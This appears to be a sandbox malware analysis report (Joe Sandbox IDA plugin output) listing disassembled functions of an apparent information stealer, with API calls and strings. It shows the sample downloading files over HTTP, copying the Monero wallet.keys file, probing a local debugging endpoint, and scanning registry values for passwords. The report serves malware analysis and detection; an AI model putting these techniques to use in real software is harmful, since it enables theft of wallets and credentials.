Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$09$`:
API String ID: 2402878923-3086705936
Opcode ID: abac786a5b70c2dd8a3d433e09272ebe1ae9f23960c338e18109d4baf2d0b76e
Instruction ID: d758bfde980e7386075a98e51bb1d7496967427ffe937c6d750b062162d9e04a
Opcode Fuzzy Hash: abac786a5b70c2dd8a3d433e09272ebe1ae9f23960c338e18109d4baf2d0b76e
Instruction Fuzzy Hash: 6912FCB2912218EACF14EB90ED66FEEB379BF15300F504599B10666091DF782F48CFA5

Function 007862D0 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

Part of subcall function 00784800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0078483A
Part of subcall function 00784800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00784851
Part of subcall function 00784800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00784868
Part of subcall function 00784800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00784889
Part of subcall function 00784800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00784899

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

InternetOpenA.WININET(007A0DFF,00000001,00000000,00000000,00000000), ref: 00786331
StrCmpCA.SHLWAPI(?,00EE3A60), ref: 00786353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00786385
HttpOpenRequestA.WININET(00000000,GET,?,00EE3090,00000000,00000000,00400100,00000000), ref: 007863D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0078640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00786421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0078644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 007864BD
InternetCloseHandle.WININET(00000000), ref: 0078653F
InternetCloseHandle.WININET(00000000), ref: 00786549
InternetCloseHandle.WININET(00000000), ref: 00786553

Strings

FUy, xrefs: 007862E0, 0078656D, 0078652E, 0078646C, 007862E3
ERROR, xrefs: 00786457
GET, xrefs: 007863CC
ERROR, xrefs: 00786519
`:, xrefs: 00786348

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$FUy$GET$`:
API String ID: 3074848878-3400920197
Opcode ID: 69ae25ab1f3c6c957c4d84d471ecfac4b8c7bfe2ac4c934dc27d2b3c6d44c96d
Instruction ID: db6fe0c5063829c5ca8b50b15d2cf12240df996ce98422825950d6f0c505f35b
Opcode Fuzzy Hash: 69ae25ab1f3c6c957c4d84d471ecfac4b8c7bfe2ac4c934dc27d2b3c6d44c96d
Instruction Fuzzy Hash: 51713DB1A40318EBDF14EBD0DC59BEE7779BB44701F108198F50A6B194DBB86A84CF91

Function 007984B0 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

RegOpenKeyExA.KERNEL32(00000000,00EDE840,00000000,00020019,00000000,007A05BE), ref: 00798534
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 007985B6
wsprintfA.USER32 ref: 007985E9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0079860B
RegCloseKey.ADVAPI32(00000000), ref: 0079861C
RegCloseKey.ADVAPI32(00000000), ref: 00798629

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

Strings

%s\%s, xrefs: 007985DD
@, xrefs: 00798529, 007985D6
- , xrefs: 00798733
?, xrefs: 0079850A

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?$@
API String ID: 3246050789-2252681929
Opcode ID: a5ca63bd18df8b5956035ccfbc244fd31d61735ced977e0282ae7a549134f95e
Instruction ID: 84bcc69b19ea181244de14f6f0368bbf1209efeb8a877d7a805202309dd3db7a
Opcode Fuzzy Hash: a5ca63bd18df8b5956035ccfbc244fd31d61735ced977e0282ae7a549134f95e
Instruction Fuzzy Hash: 0A811CB1911218EBDB64DB94ED95FEE77B8BB48300F1086D8E109A6140DF746B85CFE1

Function 00795760 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AB30: lstrlenA.KERNEL32(00000000,?,?,00795DA4,007A0ADF,007A0ADB,?,?,00796DB6,00000000,?,00ED7128,?,007A10F4,?,00000000), ref: 0079AB3B
Part of subcall function 0079AB30: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AB95

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00795894
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 007958F1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00795AA7

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

Part of subcall function 00795440: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00795478

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

Part of subcall function 00795510: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00795568
Part of subcall function 00795510: lstrlenA.KERNEL32(00000000), ref: 0079557F
Part of subcall function 00795510: StrStrA.SHLWAPI(00000000,00000000), ref: 007955B4
Part of subcall function 00795510: lstrlenA.KERNEL32(00000000), ref: 007955D3
Part of subcall function 00795510: strtok.MSVCRT(00000000,?), ref: 007955EE
Part of subcall function 00795510: lstrlenA.KERNEL32(00000000), ref: 007955FE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 007959DB
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00795B90
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00795C5C
Sleep.KERNEL32(0000EA60), ref: 00795C6B

Strings

ERROR, xrefs: 00795C4E
pi, xrefs: 007957D5, 00795833
ERROR, xrefs: 00795B82
ERROR, xrefs: 00795886
ERROR, xrefs: 007958E3
ERROR, xrefs: 00795A99
ERROR, xrefs: 007959CD

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$pi
API String ID: 3630751533-2359621175
Opcode ID: ac8c6e2989e92e5b3a3a5c1b3194c379fe55584efb2337ab2b42f37015d68346
Instruction ID: c9ae195ae0209e4c2814706f1e9ae58f5ea9c7397aa8154511aced8a128030e4
Opcode Fuzzy Hash: ac8c6e2989e92e5b3a3a5c1b3194c379fe55584efb2337ab2b42f37015d68346
Instruction Fuzzy Hash: 95E101B1A11204EBCF14FBA0FD6AAED737DAF54300F508558B50667191EF386A09CBE6

Function 00781310 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00781327

Part of subcall function 007812A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 007812B4
Part of subcall function 007812A0: HeapAlloc.KERNEL32(00000000), ref: 007812BB
Part of subcall function 007812A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 007812D7
Part of subcall function 007812A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 007812F5
Part of subcall function 007812A0: RegCloseKey.ADVAPI32(?), ref: 007812FF

lstrcatA.KERNEL32(?,00000000), ref: 0078134F
lstrlenA.KERNEL32(?), ref: 0078135C
lstrcatA.KERNEL32(?,.keys), ref: 00781377

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

Part of subcall function 00798CF0: GetSystemTime.KERNEL32(?,00EDC770,007A05B6,?,?,?,?,?,?,?,?,?,007849B3,?,00000014), ref: 00798D16

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00781465

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

Part of subcall function 0078A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0078A13C
Part of subcall function 0078A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0078A161
Part of subcall function 0078A110: LocalAlloc.KERNEL32(00000040,?), ref: 0078A181
Part of subcall function 0078A110: ReadFile.KERNEL32(000000FF,?,00000000,00790447,00000000), ref: 0078A1AA
Part of subcall function 0078A110: LocalFree.KERNEL32(00790447), ref: 0078A1E0
Part of subcall function 0078A110: CloseHandle.KERNEL32(000000FF), ref: 0078A1EA

DeleteFileA.KERNEL32(00000000), ref: 007814EF
memset.MSVCRT ref: 00781516

Strings

X, xrefs: 00781404
SOFTWARE\monero-project\monero-core, xrefs: 00781335
.keys, xrefs: 0078136B
wallet_path, xrefs: 00781330
\Monero\wallet.keys, xrefs: 0078138D

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$X$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-712991752
Opcode ID: 740a0ab054994952297b7f4e2d8883230947f57814cc56328cce4554c8580d25
Instruction ID: 4588c3de4d28fbdb76dfe6ecab9d892cced7edb8ff273f741f86b5a7b15c2152
Opcode Fuzzy Hash: 740a0ab054994952297b7f4e2d8883230947f57814cc56328cce4554c8580d25
Instruction Fuzzy Hash: B25125B1D50218EBCF15FB60ED9AFED733DAB54301F4045D8B60A62091EE385B89CBA5

Function 007860F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

Part of subcall function 00784800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0078483A
Part of subcall function 00784800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00784851
Part of subcall function 00784800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00784868
Part of subcall function 00784800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00784889
Part of subcall function 00784800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00784899

InternetOpenA.WININET(007A0DFB,00000001,00000000,00000000,00000000), ref: 0078615F
StrCmpCA.SHLWAPI(?,00EE3A60), ref: 00786197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 007861DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00786203
InternetReadFile.WININET(00792DB1,?,00000400,?), ref: 0078622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0078625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00786299
InternetCloseHandle.WININET(00792DB1), ref: 007862A3
InternetCloseHandle.WININET(00000000), ref: 007862B0

Strings

`:, xrefs: 00786189

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: `:
API String ID: 4287319946-3031790158
Opcode ID: fe439b18159f3a8cf32a0dce1b812612bbe23df13ce3e10c6ed03821643605be
Instruction ID: dc838d03034bceb53071f0f705d0d4d3ef3abeebe9714cc49dd6a36839a78bbc
Opcode Fuzzy Hash: fe439b18159f3a8cf32a0dce1b812612bbe23df13ce3e10c6ed03821643605be
Instruction Fuzzy Hash: 285141B1A40218BBDF20EF90DC49BEE7779BB44701F104198F605A7191DB786A85CF95

Function 00794300 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00794325
RegOpenKeyExA.KERNEL32(80000001,00EE1328,00000000,00020119,?), ref: 00794344
RegQueryValueExA.ADVAPI32(?,00EE0A58,00000000,00000000,00000000,000000FF), ref: 00794368
RegCloseKey.ADVAPI32(?), ref: 00794372
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00794397
lstrcatA.KERNEL32(?,00EE3060), ref: 007943AB

Strings

X, xrefs: 0079435D
p/, xrefs: 00794483
`0, xrefs: 0079439D
P1, xrefs: 007943DB

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID: P1$X$`0$p/
API String ID: 2623679115-2172433960
Opcode ID: e50052b436d1a3030e01a84ff090ba613558a77118a3bec9d78cdd10c04ae6bb
Instruction ID: d5d987a3fa09933ec7bdca19703640cd7206d5ffe40ee06682ce644e7cf40973
Opcode Fuzzy Hash: e50052b436d1a3030e01a84ff090ba613558a77118a3bec9d78cdd10c04ae6bb
Instruction Fuzzy Hash: 154175B6900208ABDF14FBE0FC9BFEE737CBB88700F404598B61557181EA7556998BD1

Function 00789A50 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(007A0AF6,00000001,00000000,00000000,00000000), ref: 00789A6A
InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 00789AAB
InternetCloseHandle.WININET(00000000), ref: 00789AC7

Strings

http://localhost:9229/json, xrefs: 00789A9F
"ws://, xrefs: 00789B84
"webSocketDebuggerUrl":, xrefs: 00789B4B

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Internet$Open$CloseHandle
String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
API String ID: 3289985339-2144369209
Opcode ID: bf7c7e9ba81813e8b06d5478e63f79d50372a62040ebe819ea20ad0fb4bb1215
Instruction ID: 5408f2c503134cc34acc34b81ec36238e958a99a5d92513439c2189bf1313263
Opcode Fuzzy Hash: bf7c7e9ba81813e8b06d5478e63f79d50372a62040ebe819ea20ad0fb4bb1215
Instruction Fuzzy Hash: 89412E75A50258EFDB14EF94DC95FED7778BB48740F104198F609A7190DBB8AE80CBA0

Function 00787630 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00787330: memset.MSVCRT ref: 00787374
Part of subcall function 00787330: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00787CF0), ref: 0078739A
Part of subcall function 00787330: RegEnumValueA.ADVAPI32(00787CF0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00787411
Part of subcall function 00787330: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0078746D
